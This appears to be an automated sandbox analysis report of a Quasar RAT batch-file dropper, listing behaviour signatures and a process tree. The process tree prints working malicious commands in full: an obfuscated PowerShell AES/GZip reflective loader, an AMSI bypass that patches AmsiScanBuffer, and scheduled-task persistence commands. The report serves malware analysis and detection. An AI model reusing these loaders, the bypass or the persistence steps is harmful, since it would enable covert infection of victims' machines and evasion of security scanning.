Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    16/08/2024, 14:49

General

  • Target
    4777.bat
  • Size 3.4MB
  • Sample240816-r617bathqk
  • SHA256 5332bb08b594d2cff1264e99063a6cddb056aaa3b02a49ab6f42ca6f95ac3f9d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Attributes
  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Deletes itself 1 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 55 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:652
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:556
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{40958e52-caaa-4d3a-bbf0-db7c479424cf}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4360
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:708
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:1008
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:768
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:928
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1052
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1112
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                    1⤵
                      PID:1192
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                      1⤵
                        PID:1236
                        • C:\Windows\SYSTEM32\cmd.exe
                          C:\Windows\SYSTEM32\cmd.exe /c "C:\Windows\$nya-onimai3\$nya-Loli.bat"
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:980
                          • C:\Windows\System32\Conhost.exe
                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            3⤵
                              PID:1020
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /S /D /c" echo function jMKnO($ZTGlq){ $psGRj=[System.Security.Cryptography.Aes]::Create(); $psGRj.Mode=[System.Security.Cryptography.CipherMode]::CBC; $psGRj.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $psGRj.Key=[System.Convert]::FromBase64String('mQXjT87zAb/0EuVb79kmI9W0lYL/y0iL9pUb62EJ2IU='); $psGRj.IV=[System.Convert]::FromBase64String('A/z1x9QC2Ec0SxzphaL4rg=='); $lFwVD=$psGRj.CreateDecryptor(); $zPKkw=$lFwVD.TransformFinalBlock($ZTGlq, 0, $ZTGlq.Length); $lFwVD.Dispose(); $psGRj.Dispose(); $zPKkw;}function VTeFB($ZTGlq){ IEX '$NBUQQ=New-Object System.IO.M*em*or*yS*tr*ea*m(,$ZTGlq);'.Replace('*', ''); IEX '$tjiFp=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$EpCPP=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($NBUQQ, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $EpCPP.CopyTo($tjiFp); $EpCPP.Dispose(); $NBUQQ.Dispose(); $tjiFp.Dispose(); $tjiFp.ToArray();}function aDqwe($ZTGlq,$WARlM){ IEX '$MlcHQ=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$ZTGlq);'.Replace('*', ''); IEX '$iSIPk=$MlcHQ.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$iSIPk.*I*n*v*o*k*e*($null, $WARlM);'.Replace('*', '');}$aXzSr = 'C:\Windows\$nya-onimai3\$nya-Loli.bat';$host.UI.RawUI.WindowTitle = $aXzSr;$bKBbP=[System.IO.File]::ReadAllText($aXzSr).Split([Environment]::NewLine);foreach ($AcIRC in $bKBbP) { if ($AcIRC.StartsWith(':: ')) { $nFtYY=$AcIRC.Substring(3); break; }}$vOsdW=[string[]]$nFtYY.Split('\');IEX '$exNJt=VTeFB (jMKnO ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($vOsdW[0])));'.Replace('*', '');IEX '$kATbQ=VTeFB (jMKnO ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($vOsdW[1])));'.Replace('*', '');aDqwe $exNJt $null;aDqwe $kATbQ (,[string[]] ('')); "
                              3⤵
                                PID:2976
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell.exe -WindowStyle Hidden
                                3⤵
                                • Blocklisted process makes network request
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of SetWindowsHookEx
                                • Suspicious use of WriteProcessMemory
                                PID:3004
                                • C:\Windows\System32\schtasks.exe
                                  "C:\Windows\System32\schtasks.exe" /Delete /TN "$nya-Loli_1" /F
                                  4⤵
                                    PID:3968
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
                                    4⤵
                                    • Suspicious use of SetThreadContext
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious use of WriteProcessMemory
                                    PID:3440
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
                                      5⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:4364
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:kJExYBAypTQD{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wyJhepXdOHISlb,[Parameter(Position=1)][Type]$HoTLYiGyxv)$nppDgOWXDzU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+'f'+'l'+''+'e'+''+[Char](99)+''+'t'+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+'a'+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+[Char](114)+''+'y'+''+'M'+'o'+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+'ed'+[Char](44)+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+''+'o'+'Cla'+'s'+''+[Char](115)+'',[MulticastDelegate]);$nppDgOWXDzU.DefineConstructor(''+[Char](82)+'TS'+'p'+''+[Char](101)+'c'+'i'+''+'a'+''+'l'+''+'N'+''+[Char](97)+'m'+'e'+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'Pu'+[Char](98)+''+'l'+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$wyJhepXdOHISlb).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+','+''+[Char](77)+''+'a'+''+[Char](110)+'ag'+[Char](101)+''+[Char](100)+'');$nppDgOWXDzU.DefineMethod(''+[Char](73)+''+'n'+''+'v'+'o'+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+'l'+'o'+'t,'+'V'+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+'a'+''+[Char](108)+'',$HoTLYiGyxv,$wyJhepXdOHISlb).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'im'+[Char](101)+''+','+''+[Char](77)+'an'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $nppDgOWXDzU.CreateType();}$pjAmftttqTnof=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+'t'+'em'+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+[Char](115)+'of'+[Char](116)+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+'.'+'U'+'n'+'saf'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+'e'+'t'+''+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$MhOlNYaOuKJrXb=$pjAmftttqTnof.GetMethod(''+'G'+'et'+'P'+''+[Char](114)+''+[Char](111)+'c'+'A'+'d'+[Char](100)+'re'+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+'ubli'+[Char](99)+''+','+'St'+[Char](97)+'t'+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lhtwTDeZlzXcmCFJSGn=kJExYBAypTQD @([String])([IntPtr]);$ohUpMSwHbmeOdslrKMtqBZ=kJExYBAypTQD @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$uaXsXlmpmoq=$pjAmftttqTnof.GetMethod(''+[Char](71)+'e'+'t'+''+[Char](77)+''+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+'n'+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+''+[Char](101)+'l32'+[Char](46)+''+'d'+'ll')));$lzQGfXfduNpUjQ=$MhOlNYaOuKJrXb.Invoke($Null,@([Object]$uaXsXlmpmoq,[Object](''+[Char](76)+''+[Char](111)+'a'+[Char](100)+'L'+'i'+''+'b'+''+'r'+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$bpZaDPUlDDtGlXljp=$MhOlNYaOuKJrXb.Invoke($Null,@([Object]$uaXsXlmpmoq,[Object](''+'V'+''+'i'+''+[Char](114)+''+'t'+''+'u'+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$OyooCDh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lzQGfXfduNpUjQ,$lhtwTDeZlzXcmCFJSGn).Invoke(''+'a'+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$ookYoPemXrjkbLLvf=$MhOlNYaOuKJrXb.Invoke($Null,@([Object]$OyooCDh,[Object](''+'A'+''+[Char](109)+'si'+[Char](83)+''+[Char](99)+''+'a'+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$NUJChTJwaG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bpZaDPUlDDtGlXljp,$ohUpMSwHbmeOdslrKMtqBZ).Invoke($ookYoPemXrjkbLLvf,[uint32]8,4,[ref]$NUJChTJwaG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ookYoPemXrjkbLLvf,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bpZaDPUlDDtGlXljp,$ohUpMSwHbmeOdslrKMtqBZ).Invoke($ookYoPemXrjkbLLvf,[uint32]8,0x20,[ref]$NUJChTJwaG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](110)+''+[Char](121)+''+'a'+''+[Char](45)+''+[Char](115)+'t'+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                                2⤵
                                • Suspicious use of NtCreateUserProcessOtherParentProcess
                                • Command and Scripting Interpreter: PowerShell
                                • Drops file in System32 directory
                                • Suspicious use of SetThreadContext
                                • Modifies data under HKEY_USERS
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of WriteProcessMemory
                                PID:4652
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                              1⤵
                                PID:1272
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                1⤵
                                  PID:1340
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                  1⤵
                                    PID:1464
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                    1⤵
                                    • Indicator Removal: Clear Windows Event Logs
                                    PID:1520
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                    1⤵
                                      PID:1548
                                      • C:\Windows\system32\sihost.exe
                                        sihost.exe
                                        2⤵
                                          PID:3060
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                        1⤵
                                          PID:1612
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                          1⤵
                                            PID:1620
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k NetworkService -p
                                            1⤵
                                              PID:1660
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                              1⤵
                                                PID:1744
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                1⤵
                                                  PID:1800
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                                  1⤵
                                                    PID:1868
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:1908
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:1992
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                        1⤵
                                                          PID:2008
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                          1⤵
                                                            PID:1828
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                            1⤵
                                                              PID:2100
                                                            • C:\Windows\System32\spoolsv.exe
                                                              C:\Windows\System32\spoolsv.exe
                                                              1⤵
                                                                PID:2148
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                1⤵
                                                                  PID:2292
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                  1⤵
                                                                    PID:2404
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                    1⤵
                                                                      PID:2508
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                      1⤵
                                                                        PID:2516
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k NetworkService -p
                                                                        1⤵
                                                                          PID:2540
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                          1⤵
                                                                            PID:2600
                                                                          • C:\Windows\sysmon.exe
                                                                            C:\Windows\sysmon.exe
                                                                            1⤵
                                                                              PID:2628
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                              1⤵
                                                                                PID:2656
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                                1⤵
                                                                                  PID:2668
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                  1⤵
                                                                                    PID:2700
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                    1⤵
                                                                                      PID:1248
                                                                                    • C:\Windows\system32\wbem\unsecapp.exe
                                                                                      C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                      1⤵
                                                                                        PID:3088
                                                                                      • C:\Windows\Explorer.EXE
                                                                                        C:\Windows\Explorer.EXE
                                                                                        1⤵
                                                                                        • Suspicious use of UnmapMainImage
                                                                                        PID:3264
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\4777.bat"
                                                                                          2⤵
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:5040
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /S /D /c" echo function jMKnO($ZTGlq){ $psGRj=[System.Security.Cryptography.Aes]::Create(); $psGRj.Mode=[System.Security.Cryptography.CipherMode]::CBC; $psGRj.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $psGRj.Key=[System.Convert]::FromBase64String('mQXjT87zAb/0EuVb79kmI9W0lYL/y0iL9pUb62EJ2IU='); $psGRj.IV=[System.Convert]::FromBase64String('A/z1x9QC2Ec0SxzphaL4rg=='); $lFwVD=$psGRj.CreateDecryptor(); $zPKkw=$lFwVD.TransformFinalBlock($ZTGlq, 0, $ZTGlq.Length); $lFwVD.Dispose(); $psGRj.Dispose(); $zPKkw;}function VTeFB($ZTGlq){ IEX '$NBUQQ=New-Object System.IO.M*em*or*yS*tr*ea*m(,$ZTGlq);'.Replace('*', ''); IEX '$tjiFp=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$EpCPP=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($NBUQQ, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $EpCPP.CopyTo($tjiFp); $EpCPP.Dispose(); $NBUQQ.Dispose(); $tjiFp.Dispose(); $tjiFp.ToArray();}function aDqwe($ZTGlq,$WARlM){ IEX '$MlcHQ=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$ZTGlq);'.Replace('*', ''); IEX '$iSIPk=$MlcHQ.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$iSIPk.*I*n*v*o*k*e*($null, $WARlM);'.Replace('*', '');}$aXzSr = 'C:\Users\Admin\AppData\Local\Temp\4777.bat';$host.UI.RawUI.WindowTitle = $aXzSr;$bKBbP=[System.IO.File]::ReadAllText($aXzSr).Split([Environment]::NewLine);foreach ($AcIRC in $bKBbP) { if ($AcIRC.StartsWith(':: ')) { $nFtYY=$AcIRC.Substring(3); break; }}$vOsdW=[string[]]$nFtYY.Split('\');IEX '$exNJt=VTeFB (jMKnO ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($vOsdW[0])));'.Replace('*', '');IEX '$kATbQ=VTeFB (jMKnO ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($vOsdW[1])));'.Replace('*', '');aDqwe $exNJt $null;aDqwe $kATbQ (,[string[]] ('')); "
                                                                                            3⤵
                                                                                              PID:2160
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              powershell.exe -WindowStyle Hidden
                                                                                              3⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Deletes itself
                                                                                              • Drops file in Windows directory
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:2064
                                                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                "schtasks" /create /ru builtin\Users /sc onlogon /tn $nya-Loli_ /F /RL HIGHEST /tr "cmd.exe /b /c start \"cmd.exe\" \"C:\Windows\$nya-onimai3\$nya-Loli.bat\""
                                                                                                4⤵
                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                PID:1740
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "powershell.exe" Register-ScheduledTask -TaskName '$nya-Loli_1' -Action (New-ScheduledTaskAction -Execute 'C:\Windows\$nya-onimai3\$nya-Loli.bat') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0 -RestartInterval (New-TimeSpan -Minutes 1) -RestartCount 3 -StartWhenAvailable) -RunLevel Highest -Force
                                                                                                4⤵
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:3188
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-ScheduledTask -TaskName '$nya-Loli_1'
                                                                                                4⤵
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                PID:4092
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                          1⤵
                                                                                            PID:3420
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                            1⤵
                                                                                              PID:3428
                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                              1⤵
                                                                                              • Suspicious use of UnmapMainImage
                                                                                              PID:3800
                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                              1⤵
                                                                                                PID:3876
                                                                                              • C:\Windows\system32\DllHost.exe
                                                                                                C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                1⤵
                                                                                                  PID:3932
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                                  1⤵
                                                                                                    PID:3984
                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                    1⤵
                                                                                                      PID:4168
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                                      1⤵
                                                                                                        PID:4308
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                        1⤵
                                                                                                          PID:4128
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                          1⤵
                                                                                                            PID:4676
                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                            1⤵
                                                                                                              PID:1964
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                              1⤵
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              PID:4372
                                                                                                            • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                              "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                              1⤵
                                                                                                              • Drops file in System32 directory
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              PID:1016
                                                                                                            • C:\Windows\system32\SppExtComObj.exe
                                                                                                              C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                              1⤵
                                                                                                                PID:4588
                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                1⤵
                                                                                                                  PID:2464
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                  1⤵
                                                                                                                    PID:432
                                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                    1⤵
                                                                                                                      PID:3476
                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                      1⤵
                                                                                                                        PID:792
                                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                        1⤵
                                                                                                                          PID:4660
                                                                                                                        • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                          C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                          1⤵
                                                                                                                            PID:4404

                                                                                                                          Network

                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                Replay Monitor

                                                                                                                                Loading Replay Monitor...

                                                                                                                                Downloads

                                                                                                                                powershell.exe.log

                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                                                • Size 3KB
                                                                                                                                • SHA256 88331ffd23c1d6cfef379ab5366333f56ee41ff083f0421915302a492cb2a833
                                                                                                                                • MD5 SHA1 SHA512

                                                                                                                                ModuleAnalysisCache

                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                                                • Size 62KB
                                                                                                                                • SHA256 b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                StartupProfileData-Interactive

                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                                • Size 1KB
